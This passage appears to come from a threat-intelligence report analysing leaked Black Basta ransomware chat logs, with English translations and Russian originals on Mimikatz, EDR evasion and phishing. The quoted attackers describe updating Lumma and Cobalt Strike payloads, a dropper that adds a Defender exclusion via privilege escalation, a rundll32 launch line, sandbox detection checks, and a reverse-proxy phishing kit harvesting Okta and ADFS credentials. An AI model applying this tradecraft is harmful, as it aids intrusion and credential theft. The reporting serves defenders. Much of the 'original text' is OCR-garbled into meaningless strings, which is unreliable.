amdc update?2 socks update3 hvnc update4 cobalt
2024-06-13 20:17:26,
@usernamegg:matrix.bestflowers247.online, updatel
amdc HeT Jo/KeH BbITb CTUANEP

2024-06-13 20:17:38,
@usernameyy:matrix.bestflowers247.online, Lumma?
2024-06-13 20:17:40,
@usernamegg:matrix.bestflowers247.online, Lumma
2024-06-13 20:17:42,
@usernamegg:matrix.bestflowers247.online, aa
2024-06-13 20:17:44,
@usernameyy:matrix.bestflowers247.online, ok
cenyac

2024-06-13 20:19:34,
@usernameyy:matrix.bestflowers247.online,
update.zip

2024-06-13 20:19:57,
@usernamegg:matrix.bestflowers247.online, updatel
Lumma update2 socks update3 hvnc update4 cobalt
2024-06-13 20:20:00,
@usernamegg:matrix.bestflowers247.online, Tak?
[omitted]

2024-06-18 15:43:44,
@usernameugway:matrix.bestflowers247.online,
3BOHMM B 06LLEM
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2024-06-18 15:43:48,
@usernameugway:matrix.bestflowers247.online,
what's the scheme

2024-06-18 15:43:54,
@usernameugway:matrix.bestflowers247.online, do |
throw access or spill files?

2024-06-18 15:43:58,
@usernameugway:matrix.bestflowers247.online, and
then access

2024-06-18 15:44:05,
@usernameugway:matrix.bestflowers247.online, or do
| try everything and then access

2024-06-18 15:47:40,
@usernamegg:matrix.bestflowers247.online, throw
access to me

2024-06-18 15:47:46,
@usernamegg:matrix.bestflowers247.online, I'll run
everything myself and spill

2024-06-18 15:48:08,
@usernamegg:matrix.bestflowers247.online, spill on
vps mainly

2024-06-18 15:48:15,
@usernamegg:matrix.bestflowers247.online, my latest
pack

2024-06-18 15:48:23,
@usernamegg:matrix.bestflowers247.online, on
desktop

2024-06-18 15:48:47,
@usernameugway:matrix.bestflowers247.online,
spilled

2024-06-18 15:49:00,
@usernameugway:matrix.bestflowers247.online, but is
the scheme like this in general? it's just that they'll call
at 3 to help somehow

2024-06-18 15:49:01,
@usernameugway:matrix.bestflowers247.online, first
run all exe except 3 then batch file once then a
password input form will pop up write call so that bot
enters password then go %temp% extract file through
file manager in anydesk which without exposure to
your vps and drop immediately here main thing put
the archive itself in the right folder after you do full
launch qwertyuio.txt - this is the file you download
make sorting by creation date it will be at the very top
you'll see

2024-06-18 15:43:48,
@usernameugway:matrix.bestflowers247.online,
cxema Kakas

2024-06-18 15:43:54,
@usernameugway:matrix.bestflowers247.online,
Knaaro A4oCTyn uav npoamsaro damnbl?

2024-06-18 15:43:58,
@usernameugway:matrix.bestflowers247.online, n
MOTOM AOCTynN

2024-06-18 15:44:05,
@usernameugway:matrix.bestflowers247.online, nau
npobyro BCce M MOTOM JOCTYnN

2024-06-18 15:47:40,
@usernamegg:matrix.bestflowers247.online, goctyn
MHe Kujaw

2024-06-18 15:47:46,
@usernamegg:matrix.bestflowers247.online, s cam
BCe 3anyLLy 1 NpoJbto

2024-06-18 15:48:08,
@usernamegg:matrix.bestflowers247.online, Ha Bncky
rnaBHOe npoJsien

2024-06-18 15:48:15,
@usernamegg:matrix.bestflowers247.online, nak
nocneaHuin Mown

2024-06-18 15:48:23,
@usernamegg:matrix.bestflowers247.online, Ha
pabounin cton

2024-06-18 15:48:47,
@usernameugway:matrix.bestflowers247.online,
npoaun

2024-06-18 15:49:00,
@usernameugway:matrix.bestflowers247.online, Ho
BOOOLLe cxema Takas? MPOCTO OHM B 3 ByAyT 3BOHUTb
yT0b Kak-TO NomMoraTb

2024-06-18 15:49:01,
@usernameugway:matrix.bestflowers247.online,
crnepBa Bce exe 3anyckan kpome 3 noToM 6aTHUK
OAVH pa3 NoToM Bblie3eT emy Gopma BBOZa nacca
nWLWK 3BOHWUAE YTO Bbl 6OT BBOAM Nacc 3aTem
naewb %temp% BblTackuBaelb davn yepes
darinmesxep B IHMAECKE KOTOPbIN 6e3 nanesa kK
cebe Ha BMNCKY M CKMAbIBaellb Cpasy Cloja raBHoe
MOIOXM B HY>KHYHO MarkKy caM apXvB NocC/e TOro kak
cAenaellb NOJHbIV 3aynck qwertyuio.txt - BoT dpawnn
BblKauMBaellb cAena COpTUPOBKY MO AaTe CO3AaHuA
Tam OH ByzeT B CaMOB BePXY YBUAULLb
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Mimikatz

Mimikatz, a well-known password dumping tool, appeared in chat discussions. The tool faces execution
difficulties in environments with EDR deployment, according to the conversations.

Failed Mimikatz Execution

Translated

2023-11-10 09:13:18,
@usernamenn:matrix.bestflowers247.online,
ZwTerminateProcess There is no profit from this,
except that it heavily loads the processor. EDR still
won't allow running mimikatz) This used to work
before, now it doesn't, they tightened the screws
more. Here you can only write your own driver, pass

certification and then you can work purely on target.

I'll give it for free) It's also not on loldrives and on vt
fud

[omitted]

2023-11-30 14:04:56,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> can
you ask what is dmp.exe? After complete process
with driver you can complete dmp with Mimikatz.

Original Text

2023-11-10 09:13:18,
@usernamenn:matrix.bestflowers247.online,
ZwTerminateProcess OT 3TOro HeT HMKakoro npodwura,
KpOMe TOro YTo CUbHO Harpy>aeTt npou. EDR
BCEPaBHO He AacT 3anycTuTb mimikatz) PaHblue 310
NpoOKaTbIBaJo, Cenyac y>Ke HeT, raikv CujibHee
3akpyTuan. TyT TONIbKO CBOW ApaliBep nucatb,
NPOXOANTb CepTUdMKALMIO M TOrAa MOXHO paboTtaTb
uncto no Taprety. Otgam becnnaTtHo) Ero Toxe HeT Ha
loldrives n Ha vt fud

[omitted]

2023-11-30 14:04:56,
@usernamegg:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online>
MOXelLlb CNPOoCuTb YTo Takoe dmp.exe? After complete
process with driver you can complete dmp with
Mimikatz.
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Discussion on Rhysida's Encryption Algorithm

Black Basta reviewed Rhysida’s encryption and noted theirs was faster.

Conversation on Encryption Algorithms Used by Ransomware

Translated

2023-10-31 17:02:04,
@usernamegg:matrix.bestflowers247.online, locker of
the first office

2023-10-31 17:02:43,
@usernameyy:matrix.bestflowers247.online, which
one exactly

2023-10-31 17:02:52,
@usernameyy:matrix.bestflowers247.online,
RHYSIDA?

2023-10-31 17:04:44,
@usernamegg:matrix.bestflowers247.online, ++
2023-10-31 17:08:35,
@usernameyy:matrix.bestflowers247.online, weak so
far

2023-10-31 17:08:43,
@usernameyy:matrix.bestflowers247.online,
apparently they changed the algorithm in the process
https://www.trendmicro.com/en_vn/research/23/h/an
-overview-of-the-new-rhysida-ransomware.html
2023-10-31 17:08:50,
@usernameyy:matrix.bestflowers247.online, at the
beginning it says rsa+aes and now rsa+chacha
2023-10-31 17:09:11,
@usernameyy:matrix.bestflowers247.online, we had
rsa+chacha in the first locker, but rsa itself is slow,
now ecg, it's better

2023-10-31 17:09:30,
@usernameyy:matrix.bestflowers247.online, just don't
tell them)

[omitted]

2023-10-31 17:21:12,
@usernamegg:matrix.bestflowers247.online, rhysida
2023-10-31 17:23:03,
@usernamegg:matrix.bestflowers247.online,
encryption is so-so rsa + chacha

2023-10-31 17:23:08,
@usernamegg:matrix.bestflowers247.online, it's very
slow

2023-10-31 17:23:13,
@usernamegg:matrix.bestflowers247.online, our first
one was like that

Original Text

2023-10-31 17:02:04,
@usernamegg:matrix.bestflowers247.online, nokep
nepsoro oduca

2023-10-31 17:02:43,
@usernameyy:matrix.bestflowers247.online, kakon
NMeHHO

2023-10-31 17:02:52,
@usernameyy:matrix.bestflowers247.online,
RHYSIDA?

2023-10-31 17:04:44,
@usernamegg:matrix.bestflowers247.online, ++
2023-10-31 17:08:35,
@usernameyy:matrix.bestflowers247.online,
cnabeHbko noka

2023-10-31 17:08:43,
@usernameyy:matrix.bestflowers247.online, Bugnumo
OHW M3MEHW/IM aNITOPUTM B NpoLiecce
https://www.trendmicro.com/en_vn/research/23/h/an
-overview-of-the-new-rhysida-ransomware.html
2023-10-31 17:08:50,
@usernameyy:matrix.bestflowers247.online, BHauane
HamucaHo rsa+aes a Tenepb rsa+chacha
2023-10-31 17:09:11,
@usernameyy:matrix.bestflowers247.online, y Hac B
nepBom siokepe 6bia rsa+chacha, Ho cam rsa
MefJ/IeHHbIN, CeMYac ecc, OH nydlle

2023-10-31 17:09:30,
@usernameyy:matrix.bestflowers247.online, Tonbko
1M He roBopw)

[omitted]

2023-10-31 17:21:12,
@usernamegg:matrix.bestflowers247.online, pucnpaa
2023-10-31 17:23:03,
@usernamegg:matrix.bestflowers247.online,
wudpoBaHue Takoe cebe pca + Yauya

2023-10-31 17:23:08,
@usernamegg:matrix.bestflowers247.online, ouexb
MeAJ/IEHHbI OH

2023-10-31 17:23:13,
@usernamegg:matrix.bestflowers247.online, y Hac
nepBbIi BblA TaKoM
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I 5.3 Evasion Techniques

Evasion of Endpoint Detection and Response (EDR) / Antivirus Software

Evasion against antivirus software and EDR products represents a primary focus area for threat actors. Successful
attacks require bypassing these security products. Security researchers and vendors report that threat actors
build dedicated testing environments to verify malware detection evasion before deployment in actual attacks.
Information sources historically favored the defensive perspective from security vendors, with limited insights
from the offensive side. The leaked chat logs provide valuable evidence confirming threat actors' significant
dedication to detection evasion.

Black Basta's chat logs reveal their maintenance of testing environments to verify behavior against major
antivirus and EDR solutions. The group targets both traditional antivirus vendors and EDR-focused vendors
comprehensively for detection evasion.

The chat logs presented below document specific product names, demonstrate enthusiasm for bypassing
particular security solutions, show detailed review of security product manuals and specifications, and record
testing environment configuration.

Demonstrating Knowledge of Security Products

Translated Original Text

2024-01-04 21:13:07, 2024-01-04 21:13:07,
@usernamegg:matrix.bestflowers247.online, | love @usernamegg:matrix.bestflowers247.online, ntobato
working with CrowdStrike Falcon, SentinelOne, pabotatb ¢ CrowdStrike Falcon, SentinelOne, Carbon
Carbon Black, Cylance, Sophos EDR, Cortex XDR, Black, Cylance, Sophos EDR, Cortex XDR, FireEye,
FireEye, Tanium Tanium
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Mention of Windows Defender

Translated

2023-10-03 15:48:26,
@usernamegg:matrix.bestflowers247.online, I'm
wondering if anyone would need such software. A
dropper that automatically raises the integrity level to
high using an LPE exploit and:

runs your software with corresponding rights
adds an exception to Windows Defender
optionally runs DLL/shellcode in memory

optionally performs some other actions, like
interacting with the launched software's GUI or
pinging somewhere

works on Win7-11 x32/x64 proactive (including
Windows Defender) doesn't detect, there are static
detects which should be removed by any crypt.

About SentinelOne #1

Translated

2024-03-14 09:54:00,
@usernamegg:matrix.bestflowers247.online, then
we'll multiply it and will use one multiplied file with a
unigue hash for one machine where SentinelOne is
installed

About SentinelOne #2

Translated

2024-03-14 09:53:28,
@usernamegg:matrix.bestflowers247.online, it's very
important to bypass SentinelOne

Original Text

2023-10-03 15:48:26,
@usernamegg:matrix.bestflowers247.online,
NHTepecytock, HyXXeH an KoMy 6yaeT Takon codT.
[ponnep, aBToMatnyeckn ¢ nomoLubro LPE skcnnownta
nogHumatowwmi integrity level go high v

e 3anyckaroLlmi Baww codT, C
COOTBETCBYHOLLMMY MpaBaMu

e gobaeastowmii uckatoueHne B Windows
Defender

e onunoHanbHo 3anyck DLL/wennkopa 8
namsaTu

e  OMNUWOHANbHO MNPOM3BOAALLNIN KaKMe TO MHble
Aencteus, Tna B3anmogencteme ¢ GUI
3anyckaemoro codrta uam oTCTyK Kyaa ToT

pabota Ha Win7-11 x32/x64 npoakT1ekm (B T.u.
Windows Defender) He nansaT, ecTb cTaTnyeckme
[EeTEKTbl, KOTOPbIE AOMKHbI CHATLCA NHOOLIM KPUMTOM.

Original Text

2024-03-14 09:54:00,
@usernamegg:matrix.bestflowers247.online, notom
Mbl €r0 Pa3MHOXUM ¥ ByaemM UCNonb3oBaTb OAMH
dann pasMHOXEHHbIN C YHUKAbHBIM XeLUeM A5
OAHOW MalUuHbI rae ctout SentinelOne

Original Text

2024-03-14 09:53:28,
@usernamegg:matrix.bestflowers247.online, oueHb
BaXkHO 0601t SentinelOne
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Considering the Purchase of Various Security Products / Reluctance toward CrowdStrike

Translated

2024-04-17 07:30:04, nickolas:talks.icu, Crowd Strike
Falcon SentinelOne Sophos Intercept X Advanced
with XDR Cisco EDR TrendMicro (ApexOne) + will also
buy today Symantec Endpoint Security Webroot
Endpoint Protection

2024-04-17 07:30:29, @nickolas:talks.icu, Do you have
any wishes for EDR?

2024-04-17 07:30:34,
@usernamegg:matrix.bestflowers247.online, Crowd
Strike Falcon

2024-04-17 07:30:37,
@usernamegg:matrix.bestflowers247.online, this one
is the worst shit

2024-04-17 07:30:40,
@usernamegg:matrix.bestflowers247.online, it lets
you do everything

2024-04-17 07:30:42, @nickolas:talks.icu, This one we
already have

2024-04-17 07:30:43,
@usernamegg:matrix.bestflowers247.online, watches
you

2024-04-17 07:30:46,
@usernamegg:matrix.bestflowers247.online, doesn't
kill immediately

2024-04-17 07:30:49,
@usernamegg:matrix.bestflowers247.online, draws a
map behind you

2024-04-17 07:30:57,
@usernamegg:matrix.bestflowers247.online, then cuts
out everything at once

2024-04-17 07:31:05,
@usernamegg:matrix.bestflowers247.online, can't do
anything with it

2024-04-17 07:31:05, @nickolas:talks.icu, so all
analytics fall into your face there

2024-04-17 07:31:10, @nickolas:talks.icu, in general
it's like that everywhere

2024-04-17 07:31:14,
@usernamegg:matrix.bestflowers247.online, it lets
you work even with the most obvious files
2024-04-17 07:31:39, @nickolas:talks.icu, In sentinel
there's a button right in the face, host isolation )
2024-04-17 07:31:59, @nickolas:talks.icu, Saw verdict
trigger, pressed isolate button from the interface,
that's it ))

Original Text

2024-04-17 07:30:04, nickolas:talks.icu, Crowd Strike
Falcon SentinelOne Sophos Intercept X Advanced
with XDR Cisco EDR TrendMicro (ApexOne) + ewe
fokynato ceroaHs Symantec Endpoint Security
Webroot Endpoint Protection

2024-04-17 07:30:29, @nickolas:talks.icu, Kakve To
MOXeT y Tebsa ecTb noxenanwsa no EAP ?

2024-04-17 07:30:34,
@usernamegg:matrix.bestflowers247.online, Crowd
Strike Falcon

2024-04-17 07:30:37,
@usernamegg:matrix.bestflowers247.online, BOT oHa
cambIl Nu3gew,

2024-04-17 07:30:40,
@usernamegg:matrix.bestflowers247.online, oHa Bce
AaeT aenatb

2024-04-17 07:30:42, @nickolas:talks.icu, 310 yxe
ecTb

2024-04-17 07:30:43,
@usernamegg:matrix.bestflowers247.online, cnegut
3a To6oM

2024-04-17 07:30:46,
@usernamegg:matrix.bestflowers247.online, He
ybuBaeTt cpasy

2024-04-17 07:30:49,
@usernamegg:matrix.bestflowers247.online, pouncyert
KapTy 3a ToboM

2024-04-17 07:30:57,
@usernamegg:matrix.bestflowers247.online, notom
BbINMWANBAET Pa3oM Bce

2024-04-17 07:31:05,
@usernamegg:matrix.bestflowers247.online, c Hel
HUYer oHe caenatb

2024-04-17 07:31:05, @nickolas:talks.icu, Tak Tam B
MopAy najaeT BCA aHanTUKa

2024-04-17 07:31:10, @nickolas:talks.icu, B Lenom
Be3ze Tak

2024-04-17 07:31:14,
@usernamegg:matrix.bestflowers247.online, oHa paet
paboTaTb gaxe cambiM NaseBHbIM paniom
2024-04-17 07:31:39, @nickolas:talks.icu, B ceHTMHene
NPsMO B MOpPAE eCTb KHOMKa, N3011LMN XOCTa )
2024-04-17 07:31:59, @nickolas:talks.icu, YBuaen
CpaboTKy BEPAOHOCA, HaXKaN KHOMKY N30AMpOBaTh 13
MopZpbl, BCe ))

197



2024-04-17 07:32:47, @nickolas:talks.icu, All samples
fly straight to virus total, you immediately have
analytics on the file, | think runs in their laboratory
also go by default

2024-04-17 07:37:37,
@usernamegg:matrix.bestflowers247.online, harsh
2024-04-17 07:37:54,
@usernamegg:matrix.bestflowers247.online, look at
how Crowd Strike Falcon works there

2024-04-17 07:37:57, @nickolas:talks.icu, Need to
cover everything with tests

2024-04-17 07:38:02, @nickolas:talks.icu, And look for
holes where we can turn something off

2024-04-17 07:38:11, @nickolas:talks.icu, yes, we'll roll
it out today

2024-04-17 07:38:23, @nickolas:talks.icu, | already
have the license, took it for several computers for
now

2024-04-17 07:38:33,
@usernamegg:matrix.bestflowers247.online, there's
also a trick with it

2024-04-17 07:38:41,
@usernamegg:matrix.bestflowers247.online, that it
goes into reboot when you run locker on it
2024-04-17 07:38:56,
@usernamegg:matrix.bestflowers247.online, there we
only lock esxi now on such networks

2024-04-17 07:39:03, @nickolas:talks.icu, well this |
think is proactive protection from file encryption)
2024-04-17 07:39:18, @nickolas:talks.icu, they also
have systems for AD protection

2024-04-17 07:32:47, @nickolas:talks.icu, Bce cemnbl
NeTAT Cpasy Ha BMPYC ToTan, y Teba TyT xe U
aHanuTka no danny, Aymaro v 3anycku B nX
nabopatopuu Toxe nayT no gedonty

2024-04-17 07:37:37,
@usernamegg:matrix.bestflowers247.online, xxectko
2024-04-17 07:37:54,
@usernamegg:matrix.bestflowers247.online, Crowd
Strike Falcon nocmoTpu kak Tam paboTtaet
2024-04-17 07:37:57, @nickolas:talks.icu, Hy>xHo
TecTamu BCe CBOe MO NOKPbIBaThb

2024-04-17 07:38:02, @nickolas:talks.icu, Y nckatb
Ablpbl, TAE Mbl MOXEM YTO-TO BbIKPYXWUTb
2024-04-17 07:38:11, @nickolas:talks.icu, aa, Mbl
CerofiHA ero HakaTum

2024-04-17 07:38:23, @nickolas:talks.icu, y meHs
NINLLYXa Y>Ke NEXNT, B3AN NOoKa Ha HECKOJ/IbKO KOMMOB
2024-04-17 07:38:33,
@usernamegg:matrix.bestflowers247.online, Tam ewe
NPWKOA C HAM

2024-04-17 07:38:41,
@usernamegg:matrix.bestflowers247.online, uto oH B
nepesarpysky YXOAWUT KOTAa NOKep Ha HEM
3anyckaellb

2024-04-17 07:38:56,
@usernamegg:matrix.bestflowers247.online, Tam
TONIbKO €SXi JIOUMM LA Ha TakMXX ceTkax

2024-04-17 07:39:03, @nickolas:talks.icu, Hy 31O
AyMato NPoakTUBHas 3aluTa oT WndpoBaHms
dannos )

2024-04-17 07:39:18, @nickolas:talks.icu, y Hux ewwe
eCTb cucTeMbl Ans 3awmTel AL
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Attempt to Evade Detection by CrowdStrike

Translated

2024-05-22 08:44:40, @chuck:talks.icu, burrito:
<Masked: IP Address>_443.bin.dll is detected by
crowdstrike

2024-05-22 09:25:36, @muaddib6:matrix.org, Got it.
remaking.

2024-05-22 11:01:05,
@burito:matrix.bestflowers247.online, Hi, ok, I'll
remake

2024-05-22 11:07:55, @chuck:talks.icu, >
<@muaddib6:matrix.org> Got it. remaking. the
multiplied one turned out fine, if you run rundll32
file.exe,DIIRegisterServer

2024-05-22 11:08:01, @chuck:talks.icu, >
<@muaddib6:matrix.org> Got it. remaking. * the
multiplied one turned out fine, if you run rundll32
file.dll,DlIRegisterServer

2024-05-22 11:09:38, @muaddib6:matrix.org, Got it.
Still remaking to make it clean.

Original Text

2024-05-22 08:44:40, @chuck:talks.icu, burrito:
<Masked: IP Address>_443.bin.dll naaut crowdstrike
2024-05-22 09:25:36, @muaddib6:matrix.org, MNMoHs.
nepezenbiBato.

2024-05-22 11:01:05,
@burito:matrix.bestflowers247.online, MpueeT, oK,
nepeaenato

2024-05-22 11:07:55, @chuck:talks.icu, >
<@muaddib6:matrix.org> MoHaAN. NepeaenbiBato.
Pa3MHOXeHbI HOPM OKa3ascs, eciun 3anyckatb
rundll32 file.exe,DIIRegisterServer

2024-05-22 11:08:01, @chuck:talks.icu, >
<@muaddib6:matrix.org> MoHsAN. NnepeaenbiBato. *
Pa3MHOXEeHbI HOPM OKa3ascs, ecn 3anyckaTb
rundll32 file.dll,DIIRegisterServer

2024-05-22 11:09:38, @muaddib6:matrix.org, MNMoHa.
Bce paBHO nepesesibiBato YTOHObI UNCTLIN Obi.

Emphasizing the Need to Read Manuals and Conduct Tests in a Lab Environment

Translated

2024-05-08 09:04:36, @nickolas:talks.icu, | spent half
the night yesterday still looking at various materials
on SIEM ¥ IDS ¥ IPS

2024-05-08 09:07:02, @nickolas:talks.icu, We need to
set all this up at our place, and test, at least products
from some top vendors. It will be difficult to
reproduce real corporate conditions in a test

environment, but it's even harder to be a blind kitten.

2024-05-08 09:09:55, @nickolas:talks.icu, We need to
think together about where we can direct all this, |
can get any targets, the picture is getting better and
better for me every day, how all this can be linked.
We need to build mechanics so that all this converts
into a high % of successful processing.

Original Text

2024-05-08 09:04:36, @nickolas:talks.icu, A Buepa non
HOUW eLle CMOTpen pasnnyHbie matepuansl no SIEM
¥ IDS ¥ IPS

2024-05-08 09:07:02, @nickolas:talks.icu, Hago
CTaBWTb 3TO BCe y cebs, 1 TeCTpoBaTh, XOTA Obl
NPOAYKTbl OT HEKOTOPbIX TOM BeHA0pOB. CNOXHO
6yzeT BOCMPON3BECTUN peasibHble YCIOBUA KOpna B
TECTOBOW cpeje, HO elle Taxenee HbiTb CrenbiM
KOTEHKOM.

2024-05-08 09:09:55, @nickolas:talks.icu, Hy>xHo
COBMECTHO AyMaTb, KyZia Mbl MOXeM 3TO BCe
HanpaBAATb, TapreToB A JOObIX AOCTaHY, Y MeHS C
KaXkAbIM AHEM BCe Nyylle U yydlle CKaajblBaeTcs
KapTWHKa, Kak BCe 3TO MOXHO YyBA3bIBaTb. Hy>HO
BbICTPaMBaTh MeXaHWKy, 4To Hbl 3TO BCe
KOHBEPTMIOCH B 6oabLION % ycrelwHon ob6paboTku.
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The conversation also reveals verification of file detection using VirusTotal and online sandboxes Hybrid Analysis

and Triage.

Sharing Online Sandbox Analysis Results

Translated

2023-09-20 18:43:47,
@w:matrixtcFJHPDbImt2rg.network, make new vbs
2023-09-20 18:43:52,
@w:matrixtcFJHPDbImt2rg.network, and spill on links
2023-09-20 18:43:58,
@w:matrixtcFJHPDbImt2rg.network, so that if new
ones come, then with new vbs

2023-09-20 18:44:16,
@w:matrixtcFJHPDbImt2rg.network, if we load them
with a new build, hardly anything will change
2023-09-20 18:54:14,
@w:matrixtcFJHPDbImt2rg.network,
https://www.hybrid-
analysis.com/sample/8b5c0cdfff949c42241546ea4dfee
9c4aalaf70a23c7e204d66f9bacb034e544b
2023-09-20 18:54:17,
@w:matrixtcFJHPDbImt2rg.network, detect on Ink
2023-09-20 18:54:30,
@w:matrixtcFJHPDbImt2rg.network,
https://tria.ge/230920-w2lnaabh93

Original Text

2023-09-20 18:43:47,
@w:matrixtcFJHPDbImt2rg.network, caenats HoBbIV
vbs

2023-09-20 18:43:52,
@w:matrixtcFJHPDbImt2rg.network, n npoante Ha
NNHKM

2023-09-20 18:43:58,
@w:matrixtcFJHPDbImt2rg.network, 4to6bl ecnu
HOBble ByayT MATK, TO C HOBbIM Vbs

2023-09-20 18:44:16,
@w:matrixtcFJHPDbImt2rg.network, ecan 6ung nm
HOBbIN NPOrpy3nTb BPAL N YTO U3MEHMNTCA
2023-09-20 18:54:14,
@w:matrixtcFJHPDbImt2rg.network,
https://www.hybrid-
analysis.com/sample/8b5c0cdfff949c42241546ea4fee
9c4aalaf70a23c7e204d66f9bacb034e544b
2023-09-20 18:54:17,
@w:matrixtcFJHPDbImt2rg.network, aetexT Ha AHK
2023-09-20 18:54:30,
@w:matrixtcFJHPDbImt2rg.network,
https://tria.ge/230920-w2Inaabh93
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Sharing Results from Online Sandbox and VirusTotal

Translated

2023-10-16 13:40:36,
@w:matrixtcFJHPDbImt2rg.network, make more
copies?

2023-10-16 13:40:52,
@usernamegg:matrix.bestflowers247.online, we'll
multiply js ourselves

2023-10-16 15:33:43,
@w:matrixtcFJHPDbImt2rg.network, well how is it
there with you?

2023-10-16 15:33:45,
@w:matrixtcFJHPDbImt2rg.network, did you launch?
2023-10-16 15:38:17,
@usernamegg:matrix.bestflowers247.online, ++
2023-10-16 15:39:01,
@w:matrixtcFJHPDbImt2rg.network, is something
going?

2023-10-16 15:38:40,
@usernamegg:matrix.bestflowers247.online,
Screenshot 2023-10-16 at 18.25.50.png

2023-10-16 15:39:33,
@usernamegg:matrix.bestflowers247.online, how is it
there with you?

2023-10-16 15:45:01,
@w:matrixtcFJHPDbImt2rg.network, finishing fixes
2023-10-16 15:45:05,
@w:matrixtcFJHPDbImt2rg.network, and soon
everything will be ready

2023-10-16 15:50:53,
@usernamegg:matrix.bestflowers247.online, ++
2023-10-16 15:50:54,
@usernamegg:matrix.bestflowers247.online, waiting
2023-10-16 16:30:18,
@w:matrixtcFJHPDbImt2rg.network,
https://www.hybrid-
analysis.com/sample/67fd74add9de8de8b4006ee023
cd9afe78c913cfac176bf9664de8a90fcT1acf
2023-10-16 16:30:22,
@w:matrixtcFJHPDbImt2rg.network,
https://www.virustotal.com/qui/file/67fd74add9de8de
8b4006ee023cd9afe78c913cfac176bf9664de8a90fc1a
c4f/detection

2023-10-16 16:30:31,
@w:matrixtcFJHPDbImt2rg.network, JS is completely
clean for all AVs by the way

Original Text

2023-10-16 13:40:36,
@w:matrixtcFJHPDblmt2rg.network, genatb 6osbLue
Konuin?

2023-10-16 13:40:52,
@usernamegg:matrix.bestflowers247.online, Mbl camu
Pa3MHOXMM s

2023-10-16 15:33:43,
@w:matrixtcFJHPDbImt2rg.network, Hy kak y Bac Tam?
2023-10-16 15:33:45,
@w:matrixtcFJHPDbImt2rg.network, 3anyctnan?
2023-10-16 15:38:17,
@usernamegg:matrix.bestflowers247.online, ++
2023-10-16 15:39:01,
@w:matrixtcFJHPDbImt2rg.network, naet uro 10?
2023-10-16 15:38:40,
@usernamegg:matrix.bestflowers247.online, CHumok
akpaHa 2023-10-16 B 18.25.50.png

2023-10-16 15:39:33,
@usernamegg:matrix.bestflowers247.online, y Tebs
Kak Tam?

2023-10-16 15:45:01,
@w:matrixtcFJHPDbImt2rg.network, goaenbisato
bUKChbI

2023-10-16 15:45:05,
@w:matrixtcFJHPDbImt2rg.network, n ckopo Bce
byZeT roToBo

2023-10-16 15:50:53,
@usernamegg:matrix.bestflowers247.online, ++
2023-10-16 15:50:54,
@usernamegg:matrix.bestflowers247.online, xay
2023-10-16 16:30:18,
@w:matrixtcFJHPDbImt2rg.network,
https://www.hybrid-
analysis.com/sample/67fd74add9de8de8b4006ee023
cd9afe78c913cfac176bf9664de8a90fc1ac4f
2023-10-16 16:30:22,
@w:matrixtcFJHPDbImt2rg.network,
https://www.virustotal.com/qui/file/67fd74add9de8de
8b4006ee023cd9afe78c913cfac176bf9664de8a90fc1a
c4f/detection

2023-10-16 16:30:31,
@w:matrixtcFJHPDbImt2rg.network, JS nonHocTtbto
umnct gns Bcex AB ecam uto
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The leaked chat logs contain additional detection evasion discussions beyond these exchanges. These
conversations demonstrate Black Basta's focus on security product evasion and their testing environment
development to improve attack success rates. The group attempts to replicate target environments as closely as
possible rather than simply collecting security products for evasion testing.

These threat actor practices highlight critical lessons for defenders: abandoning the assumption that security
solution deployment alone suffices. Threat actors not only test various security products for detection evasion
but continuously refine techniques to minimize intrusion traces using high-fidelity testing environments.
Defenders must therefore recognize that relying solely on security products proves insufficient against
sophisticated attacks. Effective defense requires multi-layered approaches and monitoring systems capable of
detecting anomalous behavior patterns.
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I 5.4 Phishing Techniques

Phishing attacks, a well-known initial access method, involve sending fraudulent messages impersonating

legitimate organizations to steal credentials and execute malware.

The chat logs confirm Black Basta employs phishing for initial access, studies phishing techniques through online

articles, and exchanges technical guidance on phishing site creation.

Discussion of Phishing Attacks #1

Translated

[17:10:57] AA: for microsoft by corps is better
[17:11:01] AA: but there's also a moment here
[17:11:13] AA: each company has its own picture for
authorization

[17:11:22] _: we load it

[17:11:24] AA: | would like to send the point first
[17:11:45] AA: yeah

[17:11:57] AA: how much time does it take to change
the picture for fake?

[17:12:07] _: it loads automatically

[17:12:12] _: you don't need to load it

[17:12:14] _: by hand

[17:12:21] _: or what do you mean

[17:12:49] AA: <Masked: Phishing URL>

[17:12:59] AA: enter <Masked: E-mail Address> there
[17:13:15] AA: do you see what picture they have for
authorization?

[17:13:21] AA: and now enter <Masked: E-mail
Address>

[17:13:23] AA: completely different

[17:13:29] AA: <Masked: E-mail Address>

[17:13:32] AA: similarly

[17:13:36] _: | saw these pictures

[17:13:42] _: we load them the same as the original

Original Text

[17:10:57] AA: ans marikpocodTa No Kopnam sydlue
[17:11:01] AA: HO TyT eLlle MOMEHT

17:11:13] AA: y ka0 KOManum cBos KapTMHKa Ha
aBTopU3aLMIo

[17:11:22] _: noarpy>xaem

[17:11:24] AA: a Touky criepa xoTen 6bl MpocaaTb
[17:11:45] AA: ara

[17:11:57] AA: cKONbKO BpEMEHME 3aHMMAEM MEHATb
KapTUHKY ans derika?

[17:12:07] _: oHa aBTOMaTU4YeECKM rpy3mnTCa
[17:12:12] _: eé He Hafo 3arpyxaTtb

[17:12:14] _: pykamu

[17:12:21] _: WAn 4TO Thl MMeeLlb BBUAY

[17:12:49] AA: <Masked: Phishing URL>

[17:12:59] AA: BBoau Tam <Masked: E-mail Address>
[17:13:15] AA: BUaMLWb Kakasa Yy HUX KapTUHKa ANd
aBTopusaumn?

[17:13:21] AA: a Tenepb BBOAM <Masked: E-mail
Address>

[17:13:23] AA: coBcem pgpras

[17:13:29] AA: <Masked: E-mail Address>

[17:13:32] AA: aHanorM4Ho

[17:13:36] _: 7 BuAEN 3TN KapTUHKMK

[17:13:42] _: Mbl rpy3uM MX TaK>Ke Kak OpuUriHan
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Discussion of Phishing Attacks #2

Translated

[17:14:58] AA: here's sso

[17:15:20] AA: > we load them the same as the
original and how do you take them?

[17:15:31] AA: if | send 10 companies at once?
[17:15:41] _: this is reverse proxy, we send request to
orig and receive response

[17:15:52] _: if you send request with email it gives
picture address in response

[17:16:04] _: doesn't matter how many to send
[17:16:11] _: but there's one problem

[17:16:23] _: different companies have different adfs
address but we only have one for all

[17:16:28] _: which is suspicious

[17:16:42] _: well and also abandoned domains look
very scary and their selection is small

[17:17:02] AA: domain

[17:17:07] AA: abandoned )

[17:17:13] AA: well nothing

[17:17:19] AA: still worth trying

[17:17:28] AA: | think there should be some sense
from this

[17:17:47] AA: and the creds that he enters are they
collected?

[17:18:03] _: creds yes

[17:18:06] _: both from okta and from adfs too
